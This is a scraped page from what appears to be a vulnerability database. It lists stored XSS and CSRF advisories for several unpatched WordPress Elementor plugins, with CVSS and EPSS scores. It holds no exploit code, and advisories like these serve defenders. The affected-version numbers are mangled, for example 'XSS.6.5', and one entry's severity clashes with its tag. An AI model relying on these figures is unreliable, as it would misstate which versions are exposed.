Cross-Site Request Forgery (CSRF) vulnerability in nicejob NiceJob nicejob allows Stored XSS.6.5. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Atawai Gum Elementor Addon gum-elementor-addon allows Stored XSS.3.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicheaddons Charity Addon for Elementor charity-addon-for-elementor allows Stored XSS.3.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicejob NiceJob nicejob allows Stored XSS.6.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicheaddons Medical Addon for Elementor medical-addon-for-elementor allows Stored XSS.6.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Trustmary Review & testimonial widgets trustmary allows Stored XSS.0.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
Prev Page 164 of 434 Next

Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39009

Related CWEs

MITRE ATT&CK

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy